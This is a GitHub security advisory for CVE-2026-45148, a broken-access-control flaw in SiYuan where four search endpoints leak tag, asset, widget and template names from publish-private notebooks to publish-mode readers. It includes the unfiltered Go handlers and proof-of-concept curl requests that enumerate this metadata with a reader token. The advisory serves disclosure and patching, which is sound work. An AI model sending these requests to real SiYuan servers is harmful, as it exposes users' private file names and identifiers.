Skip to content

SiYuan has broken access control in `/api/search/{searchAsset,searchTag,searchWidget,searchTemplate}` publish-mode

Moderate severity GitHub Reviewed Published May 8, 2026 in siyuan-note/siyuan • Updated May 15, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

< 0.0.0-20260512140701-d7b77d945e0d

Patched versions

0.0.0-20260512140701-d7b77d945e0d

Description

Summary

The advisory GHSA-c77m-r996-jr3q patched getBookmark so that, when invoked by a publish-mode RoleReader, results are filtered through FilterBlocksByPublishAccess to remove entries from password-protected / publish-ignored notebooks. Four sibling search handlers in the same file did not receive the equivalent treatment and continue to expose metadata across the publish-access boundary.

Details

Affected files / lines (v3.6.5):

kernel/api/router.go:181-190 — all four endpoints registered with CheckAuth only, which the publish-service RoleReader JWT passes:

ginServer.Handle("POST", "/api/search/searchTag",      model.CheckAuth, searchTag)
ginServer.Handle("POST", "/api/search/searchTemplate", model.CheckAuth, searchTemplate)
ginServer.Handle("POST", "/api/search/searchWidget",   model.CheckAuth, searchWidget)
ginServer.Handle("POST", "/api/search/searchAsset",    model.CheckAuth, searchAsset)

kernel/api/search.go — none of the four handlers branches on model.IsReadOnlyRoleContext(c) to filter the response, while their peers in the same file do. Compare:

// :29-65  listInvalidBlockRefs — DOES filter:
if model.IsReadOnlyRoleContext(c) {
    publishAccess := model.GetPublishAccess()
    blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}

// :67-93  getAssetContent — DOES filter (FilterAssetContentByPublishAccess)
// :95-115 fullTextSearchAssetContent — DOES filter
// :250-285 getEmbedBlock — DOES filter (FilterEmbedBlocksByPublishAccess)

// :156-176 searchAsset — does NOT filter
ret.Data = model.SearchAssetsByName(k, exts)

// :178-196 searchTag — does NOT filter
tags := model.SearchTags(k)
ret.Data = map[string]any{"tags": tags, "k": k}

// :198-213 searchWidget — does NOT filter
widgets := model.SearchWidget(keyword)

// :233-248 searchTemplate — does NOT filter
templates := model.SearchTemplate(keyword)

model.SearchAssetsByName, model.SearchTags, model.SearchWidget, model.SearchTemplate operate over the entire workspace database / filesystem, not just the publish-visible subset. A FilterTagsByPublishIgnore helper already exists in kernel/model/ and is used by getTag itself (kernel/api/tag.go:58-62), confirming the maintainers' intent.

PoC

End-to-end reproduction requires enabling the SiYuan publish service, marking one notebook as private to publish access, and obtaining a RoleReader JWT from the publish reverse-proxy (per kernel/server/proxy/publish.go). Once authenticated as the Reader against the publish port:

# Returns ALL tags across the workspace, including ones drawn only from the publish-private notebook.
curl -X POST https://<publish-host>/api/search/searchTag \
     -H 'Authorization: Bearer <reader-jwt>' \
     -H 'Content-Type: application/json' \
     -d '{"k":""}'

# Returns ALL asset filenames (e.g., CV.pdf, contract.docx, salary-2026.xlsx) regardless of source notebook.
curl -X POST https://<publish-host>/api/search/searchAsset \
     -H 'Authorization: Bearer <reader-jwt>' \
     -H 'Content-Type: application/json' \
     -d '{"k":""}'

curl -X POST https://<publish-host>/api/search/searchWidget   -H '...' -d '{"k":""}'
curl -X POST https://<publish-host>/api/search/searchTemplate -H '...' -d '{"k":""}'

Each call returns the global result set without applying FilterTagsByPublishIgnore / FilterAssetContentByPublishAccess / equivalent.

In this audit I source-confirmed the missing branch in v3.6.5 but did not stand up the full publish-service flow. The fix is straightforward enough that the source-level evidence should be sufficient for triage.

Impact

A publish-service Reader (the role assigned to anonymous publish visitors by default) can enumerate:

  • All tag strings used anywhere in the workspace — frequently contains person names, project codenames, internal identifiers.
  • All asset filenames uploaded to the workspace — frequently contains the contents of CV.pdf, contract.docx, salary-2026.xlsx, etc.
  • All widget names and template names installed in the workspace.

This violates the publish-service trust boundary. Users intentionally mark notebooks as "invisible to publish" specifically to keep this metadata out of public reach.

References

@88250 88250 published to siyuan-note/siyuan May 8, 2026
Published to the GitHub Advisory Database May 13, 2026
Reviewed May 13, 2026
Published by the National Vulnerability Database May 14, 2026
Last updated May 15, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(7th percentile)

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

CVE-2026-45148

GHSA ID

GHSA-fmh9-gpqh-g53g

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.